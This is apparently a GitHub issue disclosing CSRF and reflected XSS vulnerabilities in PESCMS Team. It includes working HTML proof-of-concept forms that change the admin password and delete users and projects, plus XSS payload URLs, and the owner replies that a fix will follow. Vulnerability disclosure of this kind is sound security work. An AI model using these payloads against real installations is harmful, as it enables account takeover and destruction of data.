

New issue

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There are some vulnerabilities in cms. #7

Open RO6OTXX opened this issue on Apr 19, 2021 · 1 comment

RO6OTXX commented on Apr 19, 2021

Cross Site Request Forgery(CSRF)-1

modify admin's password ,mail,phone and head-image.

Technical Description:

file :

pescms/App/Team/PUT/User.php

The function of this file is to Modify personal information,but it don't Verify whether the operation is legal.
Through it attackers can modify admin's password ,mail,phone and head-image.

Proof of Concept(PoC)

```
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pescms/Public/?g=Team&m=User&a=setting" method="POST">
  <input type="hidden" name="method" value="PUT" />
  <input type="hidden" name="name" value="admin" />
  <input type="hidden" name="mail" value="123456&#64;qq&#46;com" />
  <input type="hidden" name="phone" value="" />
  <input type="hidden" name="password" value="newadmin" />
  <input type="hidden" name="home" value="Team&#45;Index&#45;index" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```



Success.And the password of admin has been modify.



Cross Site Request Forgery(CSRF)-2

Delete the administrator and other member's account number

Technical Description:

file:

pescms/App/Team/DELETE/Content.php
pescms/App/Team/DELETE/Field.php

Through it can delete Any member and administrator just by modify the 'id' that in Url.
Delete the Account number of administrator just need to modify the id as '1'.

localhost/pescms/Public/?g=Team&m=User&a=index

PESCMS Team

用户列表 / 列表

新增 用户数据分析

ID	会员名称	用户组	所属部门	会员帐号	邮箱地址	联系电话	状态	操作
50	lightening	普通会员	默认部	lightening	1234567@qq.com		启用	编辑 删除
36	light	部门负责人	默认部	light	987654321@qq.com		启用	编辑 删除
1	admin	管理员	默认部	admin	123456@qq.com		启用	编辑 删除

总计3个记录 1

Proof of Concept(PoC)

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pescms/Public/?g=Team&m=User&a=action&id=36&method=DELETE&back_url=L3Blc2Ntcy9QdWJ3aWwVP2c9VGhb5ZtPVVzZXImYT1pbmRleA==" method="POST">
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```

Visit this page of poc:

www.test.com

Submit request

localhost/pescms/Public/?g=Team&m=User&a=action&id=36&method=DELETE&back_url=L3Blc2Ntcy9QdWJ3aWwVP2c9VGhb5ZtPVVzZXImYT1pbmRleA==

eam

删除成功

页面自动 跳转 等待时间: 3

确认

We refresh the list of user ,that find that the user that called light is deleted.

localhost/pescms/Public/?g=Team&m=User&a=index

90%

...

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☰

PESCMS Team

✉

+ 新任务

👤 个人中心

👤 用户中心

📁 内容管理

⚙️ 高级设置

用户列表 / 列表

➕ 新增

📊 用户数量分析

搜索

ID	会员名称	用户组	所属部门	会员帐号	邮箱地址	联系电话	状态	操作
50	lightening	普通会员	默认部	lightening	1234567@qq.com		启用	编辑 删除
1	admin	管理员	默认部	admin	123456@qq.com		启用	编辑 删除

总计2个记录

1

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Cross Site Request Forgery(CSRF)-3

Delete import information

Technical Description:
file:

```
pescms/App/Team/DELETE/Attachment.php
pescms/App/Team/DELETE/Content.php
pescms/App/Team/DELETE/Field.php
pescms/App/Team/DELETE/Model.php
pescms/App/Team/DELETE/Notice.php
```

Through CSRF to Delete important data is exist in these files.

ALL the delete operations are not verify in front page. Like this:

localhost/pescms/Public/?g=Team&m=Project&a=index

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SCMS Team

✉

shell

+ 新任务

👤 个人中心

👤 用户中心

项目列表 / 列表

➕ 新增

📊 项目数量分析

排序	ID	项目名称	操作
1	1	不指定任务	编辑 删除

排序

Proof of Concept(PoC)

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pescms/Public/?g=Team&m=Project&a=action&i=1&method=DELETE&back_url=L3Blc2Ntcy9QdWJsaWwMP2c9VGh5SztPVbY2p1Y3QmYT1pbmRleA==" method="POST">
  <input type="hidden" name="" value="" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```



And other operations of delete are exist on this cms. Just give the positions,don't prove.

localhost/pescms/Public/?g=Team&m=User_group&a=index

PESCMS Team

用户组列表 / 列表

新增

ID	用户组名称	状态	操作
12	管理员	启用	编辑 复制 设置菜单 设置权限 删除
3	部门责任人	启用	编辑 复制 设置菜单 设置权限 删除
2	普通会员	启用	编辑 复制 设置菜单 设置权限 删除

localhost/pescms/Public/?g=Team&m=Node&a=index

PESCMS Team

节点列表 / 列表

新增

排序	名称	操作
1	1	编辑 删除
1	新任务	编辑 删除
1	发布新任务	编辑 删除
2	删除任务	编辑 删除
2	个人中心	编辑 删除
1	我的任务	编辑 删除
2	任务看板	编辑 删除
3	任务列表	编辑 删除

Reflected XSS in App/Team/GET/Repoort.php

In the method of extract, the CSRF also exist , but this is to prove the Rdfflected XSS,not CSRF.

In line 72-78, the data from \$_GET('begin') and \$_GET('end') is transfer to variables, and output in pages.

```
Report.php
53
54 /**
55  * 提取报表
56  */
57 public function extract() {
58
59     $head = explode(',', \Model\Content::findContent('department', $this->session()->get('team')['user_id']));
60     if (!in_array($this->session()->get('team')['user_id'], $head) && ACTION == 'extract') {
61         $this->error('您不是部门负责人，无权访问');
62     }
63
64     $condition = "r.report_date BETWEEN :begin AND :end ";
65     $param = array();
66     //allExtract将移除此限制
67     if (ACTION == 'extract') {
68         $condition .= " AND r.department_id = :department_id";
69         $param['department_id'] = $this->session()->get('team')['user_department_id'];
70     }
71
72     if (!empty($_GET['begin']) && !empty($_GET['end'])) {
73         $param['begin'] = strtotime($_GET['begin']. ' 00:00:00');
74         $param['end'] = strtotime($_GET['end']. ' 23:59:59');
75     } else {
76         $param['begin'] = strtotime(date('Y-m-d 00:00:00'));
77         $param['end'] = strtotime(date('Y-m-d 23:59:59'));
78     }
79 }
```

Proof of Concept(PoC)

localhost/pescms/Public/?g=Team&m=Report&a=extract&begin="onmouseover=alert(1)//&end=&user=0
or

localhost/pescms/Public/?g=Team&m=Report&a=extract&begin=&end="onmouseover=alert(1)//&user=0
or,page:
http://localhost/pescms/Public/?g=Team&m=Report&a=allExtract&begin="onmouseover=alert(1)//&end=&user=0

The screenshot shows a web application interface for 'PESCMS Team'. The URL bar contains a malicious payload: `localhost/pescms/Public/?g=Team&m=Report&a=allExtract&begin="onmouseover=alert(1)//&end=&user=0`. The page displays a form with fields for '报表查询起始日期' (Report Query Start Date), '结束日期' (End Date), and '全体用户' (All Users). A confirmation dialog box with the text 'onmouseover' and a '确定' (Confirm) button is shown. The HTML viewer at the bottom highlights the payload in the 'begin' input field: `<input class="am-form-field" type="text" name="begin" value="" onmouseover=alert(1)//" data-am-datepicker="" placeholder="报表查询起始日期" readonly="" required="">`.

In this page ,Reflected XSS can be combined with CSRF,this will cause bigger destruction

lazyphp commented on Apr 19, 2021

Owner

thank you for reporting program bug. I will fix it .

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

